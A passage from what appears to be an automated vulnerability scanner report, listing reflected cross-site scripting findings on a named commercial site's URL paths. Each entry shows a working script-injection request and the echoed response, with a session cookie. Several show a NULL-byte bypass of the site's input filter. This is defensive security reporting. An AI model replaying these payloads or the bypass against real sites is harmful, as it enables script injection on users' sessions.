Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 388

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta/style/shun/basef691f<script>alert(1)</script>1a9c9b9c8d7/base/en/screen.seam</code>
...[SNIP]...

1.24. http://www.videobox.com/beta/style/shun/base/base/en/screen.seam [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/style/shun/base/base/en/screen.seam

Issue detail

The value of REST URL parameter 5 is copied into the HTML document as plain text between tags. The payload a4609<script>alert(1)</script>45a1f305d5b was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beta/style/shun/base/basea4609<script>alert(1)</script>45a1f305d5b/en/screen.seam HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 388

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta/style/shun/base/basea4609<script>alert(1)</script>45a1f305d5b/en/screen.seam</code>
...[SNIP]...

1.25. http://www.videobox.com/beta/style/shun/base/base/en/screen.seam [REST URL parameter 6]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/style/shun/base/base/en/screen.seam

Issue detail

The value of REST URL parameter 6 is copied into the HTML document as plain text between tags. The payload ea984<script>alert(1)</script>c73fd3d8ee7 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beta/style/shun/base/base/enea984<script>alert(1)</script>c73fd3d8ee7/screen.seam HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 388

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta/style/shun/base/base/enea984<script>alert(1)</script>c73fd3d8ee7/screen.seam</code>
...[SNIP]...

1.26. http://www.videobox.com/beta/support/home.seam [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/support/home.seam

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 2103d<script>alert(1)</script>284aa8a44d7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beta2103d<script>alert(1)</script>284aa8a44d7/support/home.seam HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 370

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta2103d<script>alert(1)</script>284aa8a44d7/support/home.seam</code>
...[SNIP]...

1.27. http://www.videobox.com/beta/support/home.seam [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/support/home.seam

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 322d5<script>alert(1)</script>3a8d2ee99e8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beta/support322d5<script>alert(1)</script>3a8d2ee99e8/home.seam HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 370

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta/support322d5<script>alert(1)</script>3a8d2ee99e8/home.seam</code>
...[SNIP]...

1.28. http://www.videobox.com/beta/support/home.seam [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/support/home.seam

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload %00619fa<script>alert(1)</script>2ca81ef01a3 was submitted in the REST URL parameter 3. This input was echoed as 619fa<script>alert(1)</script>2ca81ef01a3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /beta/support/home.seam%00619fa<script>alert(1)</script>2ca81ef01a3 HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 373

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta/support/home.seam%00619fa<script>alert(1)</script>2ca81ef01a3</code>
...[SNIP]...

1.29. http://www.videobox.com/beta/tos.seam [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/tos.seam

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 1f470<script>alert(1)</script>2b1aeee5499 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beta1f470<script>alert(1)</script>2b1aeee5499/tos.seam HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 361

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta1f470<script>alert(1)</script>2b1aeee5499/tos.seam</code>
...[SNIP]...

1.30. http://www.videobox.com/beta/tos.seam [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/tos.seam

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload %00a15e5<script>alert(1)</script>02d6be2ebf4 was submitted in the REST URL parameter 2. This input was echoed as a15e5<script>alert(1)</script>02d6be2ebf4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /beta/tos.seam%00a15e5<script>alert(1)</script>02d6be2ebf4 HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 364

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta/tos.seam%00a15e5<script>alert(1)</script>02d6be2ebf4</code>
...[SNIP]...

1.31. http://www.videobox.com/beta/tour/browse.seam [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/tour/browse.seam

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload a7e75<script>alert(1)</script>6d4e9c5db5a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /betaa7e75<script>alert(1)</script>6d4e9c5db5a/tour/browse.seam HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 369

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/betaa7e75<script>alert(1)</script>6d4e9c5db5a/tour/browse.seam</code>
...[SNIP]...

1.32. http://www.videobox.com/beta/tour/browse.seam [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/tour/browse.seam

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 1f259<script>alert(1)</script>9a84c6635de was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beta/tour1f259<script>alert(1)</script>9a84c6635de/browse.seam HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 369

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta/tour1f259<script>alert(1)</script>9a84c6635de/browse.seam</code>
...[SNIP]...

1.33. http://www.videobox.com/beta/tour/browse.seam [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/tour/browse.seam

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload %0086967<script>alert(1)</script>cbb10574d6d was submitted in the REST URL parameter 3. This input was echoed as 86967<script>alert(1)</script>cbb10574d6d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /beta/tour/browse.seam%0086967<script>alert(1)</script>cbb10574d6d HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 372

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta/tour/browse.seam%0086967<script>alert(1)</script>cbb10574d6d</code>
...[SNIP]...

1.34. http://www.videobox.com/beta/tour/flash.seam [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/tour/flash.seam

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 6a62b<script>alert(1)</script>15d69159454 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beta6a62b<script>alert(1)</script>15d69159454/tour/flash.seam?subTab=home&thumbsOffset=0&raId=-1&cid=2011462&mainTab=browse&offsetTime=&contentId=64677931 HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 461

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta6a62b<script>alert(1)</script>15d69159454/tour/flash.seam?subTab=home&thumbsOffset=0&raId=-1&cid=2011462&mainTab=browse&offsetTime=&contentId=64677931</code>
...[SNIP]...

1.35. http://www.videobox.com/beta/tour/flash.seam [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.videobox.com
Path:   /beta/tour/flash.seam

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 626c7<script>alert(1)</script>5404689ddf3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beta/tour626c7<script>alert(1)</script>5404689ddf3/flash.seam?subTab=home&thumbsOffset=0&raId=-1&cid=2011462&mainTab=browse&offsetTime=&contentId=64677931 HTTP/1.1
Host: www.videobox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0176481C872BB3F105D47E53A4B62BBB; __utmv=; use_yf=false; __utmz=179270819.1289829501.1.1.utmcsr=sfwk.org|utmccn=(referral)|utmcmd=referral|utmcct=/Community/SeamInProduction; state=1-1289829533228-0-4133; ref=687474703a2f2f7366776b2e6f72672f436f6d6d756e6974792f5365616d496e50726f64756374696f6e; tc=H4sIAAAAAAAAAKWPzW6DMBCEz8lTWHsvGNsQU+G8CuJnQywZTO0lNG9fR1FP6SFSTyvNzDeabWhg02bH1mEX0cBHVelaclXKujopKbTWHJ6J2Ud6BEQhZXWqlNKiKDnnUgEbAnaEo4FC6FqLupRSiBOw1SbNLoRh6Rywiw2R2i04A1ei9TPP933PbnZE3/vvbPBz3iN1eR/8HjGL2M2/0NeG4W5g2VzqsbF9qlebJl06FxHYDYMBke64GABGyeFwPh4ODQ3tmGqtY3Rf05NFcu2ML2tTrfPT9PiDwoaQ/0mrF1qVvHyXlv+ixfvLm5yG8/EHKBR/jeABAAA-; WRUID=0; partner=internal; __utma=179270819.596561490.1289829501.1289829501.1289829501.1; __utmc=179270819; __utmb=179270819.1.10.1289829501; use_gf=false;

Response

HTTP/1.0 404 Not Found
Server: BigIP
Connection: close
Content-Length: 461

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <code>/beta/tour626c7<script>alert(1)</script>5404689ddf3/flash.seam?subTab=home&thumbsOffset=0&raId=-1&cid=2011462&mainTab=browse&offsetTime=&contentId=64677931</code>
...[SNIP]...

